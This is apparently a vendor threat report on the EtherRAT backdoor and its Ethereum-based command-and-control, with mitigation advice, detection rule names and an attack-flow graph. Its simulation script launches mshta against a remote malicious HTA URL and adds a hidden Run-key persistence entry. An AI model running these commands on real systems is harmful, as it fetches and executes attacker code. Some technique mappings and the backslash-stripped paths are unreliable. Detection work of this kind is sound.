SOC Prime Bias: Critical

06 Apr 2026 17:47

EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons

Author Photo
SOC Prime Team linkedin icon Follow
EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

EtherRAT is a Node.js backdoor that resolves its command-and-control endpoints from Ethereum smart contracts using an “EtherHiding” approach. It blends into normal web traffic by shaping beacons to resemble benign CDN requests, while targeting high-value data such as cryptocurrency wallets and cloud credentials. Initial access is commonly driven by ClickFix-style social engineering or fake IT-support lures that trigger malicious HTA execution through pcalua.exe and mshta.exe.

Investigation

The eSentire Threat Response Unit observed a multi-stage loader chain that includes an AES-256-CBC decryption workflow, persistence via an HKCU Run registry value, and a SYS_INFO module responsible for broad host profiling. EtherRAT reaches out to multiple public Ethereum RPC providers to locate the relevant smart contract, then derives CDN-like URLs and polls them for tasking and follow-on commands, reinforcing its “legitimate traffic” disguise.

Mitigation

Use AppLocker or WDAC to block or tightly control pcalua.exe and mshta.exe, and restrict the Windows Run dialog via Group Policy. Where feasible, limit or block access to known public crypto RPC infrastructure and alert on unexpected Ethereum RPC usage from endpoints that do not require it. Deploy endpoint controls that can detect Node.js-based backdoors and monitor for abnormal beaconing patterns that mimic CDN fetch behavior to the identified domains.

Response

If EtherRAT activity is detected, isolate the endpoint, terminate the running process, and remove the HKCU Run persistence entry along with any dropped artifacts. Perform a full forensic sweep to confirm no additional payloads were staged, and rotate exposed credentials—prioritizing cryptocurrency wallet secrets and cloud service keys. Expand hunting across the environment for similar Ethereum-RPC lookups and CDN-like polling behavior to scope potential spread.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Technique</b> – <b>T1218.005 System Binary Proxy Execution</b><br/>pcalua.exe launches mshta.exe to download and execute malicious HTA"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Technique</b> – <b>T1202 Indirect Command Execution</b><br/>Obfuscates command line to invoke other binaries"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Technique</b> – <b>T1059.003 Command and Scripting Interpreter: Windows Command Shell</b><br/>Runs PowerShell and reg commands for fingerprinting"] class tech_cmd_shell technique tech_persistence["<b>Technique</b> – <b>T1546.007 Netsh Helper DLL</b> and <b>T1037.004 RC Scripts</b><br/>Creates HKCU Run key launching conhost.exe headless node.exe"] class tech_persistence technique tech_defense_evasion["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b> with subu2011techniques Polymorphic Code, Dynamic API Resolution, Embedded Payloads, Deobfuscate/Decode"] class tech_defense_evasion technique tech_c2_resolver["<b>Technique</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Retrieves C2 address from an Ethereum smart contract"] class tech_c2_resolver technique tech_c2_comm["<b>Technique</b> – <b>T1102 Web Service</b> with bidirectional (T1102.002) and oneu2011way (T1102.003) communication<br/>HTTPS requests mimic CDN traffic"] class tech_c2_comm technique tech_collection["<b>Technique</b> – <b>T1602.002 Network Device Configuration Dump</b><br/>Collects OS, hardware, network, AV, crypto wallet files and cloud credentials"] class tech_collection technique tech_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Sends collected data back through the same HTTPS channel"] class tech_exfiltration technique tech_impact_hijack["<b>Technique</b> – <b>T1496.001 Compute Hijacking</b><br/>Steals cryptocurrency wallet files"] class tech_impact_hijack technique tech_impact_cloud["<b>Technique</b> – <b>T1537 Transfer Data to Cloud Account</b><br/>Uploads credentials to cloud storage"] class tech_impact_cloud technique tech_software_ext["<b>Technique</b> – <b>T1176 Software Extensions</b> and <b>T1505.004 IIS Components</b><br/>Downloads Node.js runtime and additional modules"] class tech_software_ext technique tech_lateral["<b>Technique</b> – <b>T1080 Taint Shared Content</b><br/>Downloads further payloads/modules from remote servers"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Tool</b> – <b>Name</b>: pcalua.exe<br/><b>Description</b>: Windows Update Standalone Installer used as a proxy"] class tool_pcalua tool tool_cmd["<b>Tool</b> – <b>Name</b>: cmd.exe<br/><b>Description</b>: Windows command shell with caret obfuscation"] class tool_cmd tool tool_ethereum["<b>Tool</b> – <b>Name</b>: Ethereum RPC provider<br/><b>Description</b>: Public RPC endpoints used to query the smart contract"] class tool_ethereum tool tool_nodejs["<b>Tool</b> – <b>Name</b>: Node.js runtime<br/><b>Description</b>: Executes additional modules downloaded from C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Process</b> – <b>Name</b>: mshta.exe<br/><b>Description</b>: Executes HTA files"] class process_mshta process process_powershell["<b>Process</b> – <b>Name</b>: powershell.exe<br/><b>Description</b>: Runs PowerShell scripts for system fingerprinting"] class process_powershell process process_conhost["<b>Process</b> – <b>Name</b>: conhost.exe<br/><b>Description</b>: Host process used to launch headless node.exe"] class process_conhost process process_https["<b>Process</b> – <b>Name</b>: HTTPS client<br/><b>Description</b>: Sends requests such as /api/<hex>/<UUID>.ico mimicking CDN traffic"] class process_https process process_remote_download["<b>Process</b> – <b>Name</b>: downloader<br/><b>Description</b>: Retrieves additional payloads from remote servers"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Malware</b> – <b>Name</b>: Obfuscator.io generated payload<br/><b>Description</b>: AESu2011256u2011CBC encrypted stages with polymorphic code"] class malware_obfuscator malware %% Connections tech_initial_access –>|uses| tool_pcalua tool_pcalua –>|launches| process_mshta process_mshta –>|downloads| "shep.hta" tech_initial_access –>|leads to| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|uses| tool_cmd tool_cmd –>|invokes| process_powershell process_powershell –>|executes| tech_cmd_shell tech_cmd_shell –>|enables| tech_persistence tech_persistence –>|creates| process_conhost process_conhost –>|launches| tool_nodejs tech_defense_evasion –>|applies to| malware_obfuscator malware_obfuscator –>|provides payload for| tool_nodejs tech_c2_resolver –>|retrieves address via| tool_ethereum tool_ethereum –>|queries| "Ethereum smart contract" tech_c2_comm –>|communicates over| process_https process_https –>|transfers data to| tech_collection tech_collection –>|data exfiltrated via| tech_exfiltration tech_exfiltration –>|delivers to| tech_impact_hijack tech_exfiltration –>|delivers to| tech_impact_cloud tech_software_ext –>|downloads| tool_nodejs tool_nodejs –>|enables| tech_lateral tech_lateral –>|downloads| process_remote_download "

Attack Flow

Detections

LOLBAS Pcalua (via cmdline)

SOC Prime Team
01 Apr 2026

Lolbin Processes Creating Files (via file_event)

SOC Prime Team
01 Apr 2026

MsiExec Spawned by Shell Process (via cmdline)

SOC Prime Team
01 Apr 2026

LOLBAS Conhost (via cmdline)

SOC Prime Team
01 Apr 2026

Suspicious LOLBAS MSHTA Defense Evasion Behavior by Detection of Associated Commands (via process_creation)

SOC Prime Team
01 Apr 2026

Possible IP Lookup Domain Communications Attempted (via dns)

SOC Prime Team
01 Apr 2026

Possible Account or Group Enumeration / Manipulation (via cmdline)

SOC Prime Team
01 Apr 2026

Suspicious CURL Usage (via cmdline)

SOC Prime Team
01 Apr 2026

Probable Detection of Windows Virtualization Environment Using WMI (via cmdline)

SOC Prime Team
01 Apr 2026

Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via cmdline)

SOC Prime Team
01 Apr 2026

Possible Evasion Checks (via powershell)

SOC Prime Team
01 Apr 2026

Possible CommandLine Obfuscation Using Inserting Carets (via cmdline)

SOC Prime Team
01 Apr 2026

Possible Antivirus or Firewall Software Enumeration (via process_creation)

SOC Prime Team
01 Apr 2026

Linux System Information Discovery (via cmdline)

SOC Prime Team
01 Apr 2026

IOCs (SourceIP) to detect: EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons

SOC Prime AI Rules
01 Apr 2026

IOCs (DestinationIP) to detect: EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons

SOC Prime AI Rules
01 Apr 2026

IOCs (HashSha256) to detect: EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons

SOC Prime AI Rules
01 Apr 2026

Detect EtherRAT Initial Access via ClickFix and Indirect Command Execution [Windows Process Creation]

SOC Prime AI Rules
01 Apr 2026

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:

    1. Initial Access – ClickFix Dropper: The attacker leverages a malicious ClickFix installer that runs a hidden cmd.exe which calls pcalua.exe.
    2. Indirect Execution: pcalua.exe is instructed to launch mshta.exe against a remote HTA file hosted at https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. This HTA script loads the EtherRAT payload.
    3. Persistence Setup: The dropper adds a Run registry value under HKCUSoftwareMicrosoftWindowsCurrentVersionRun pointing to a chained conhost.exenode.exe execution chain, ensuring the malware starts on user logon.
    4. Domain Reconnaissance: In parallel, a PowerShell one‑liner is executed to read the machine’s domain name, signalling the attacker that the host is domain‑joined.

    All three command lines are executed from a single hidden cmd.exe instance, matching the Sigma rule’s indicator1/indicator2 or indicator3 combination.

  • Regression Test Script: The script below reproduces the exact command lines (user‑specific paths are resolved via environment variables).

    # -------------------------------------------------------------
    # EtherRAT Initial Access Simulation – PowerShell wrapper
    # -------------------------------------------------------------
    $username = $env:USERNAME
    $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    $conhostPath = "$env:WINDIRSystem32conhost.exe"
    $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
    $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
    
    # 1. Indicator 1 – pcalua -> mshta
    $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
    
    # 2. Indicator 2 – Registry Run key with conhost chain
    $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
    $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
    
    # 3. Indicator 3 – PowerShell domain query
    $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
    $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
    Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
    
    Write-Host "`n[+] Simulation commands issued. Check SIEM for matching alerts."
  • Cleanup Commands: Remove the registry entry and delete any files created by the simulation.

    # -------------------------------------------------------------
    # Cleanup – remove Run key and temporary files
    # -------------------------------------------------------------
    $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
    $runValueName = '0c939bf7ae8f'
    
    # Delete the Run key value
    if (Test-Path $runKeyPath) {
        Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
        Write-Host "[+] Removed registry Run value $runValueName"
    }
    
    # Remove any residual files (if they were created)
    $paths = @(
        "$env:TEMPbenign.txt"               # from baseline (optional)
    )
    foreach ($p in $paths) {
        if (Test-Path $p) { Remove-Item $p -Force }
    }
    
    Write-Host "[+] Cleanup complete."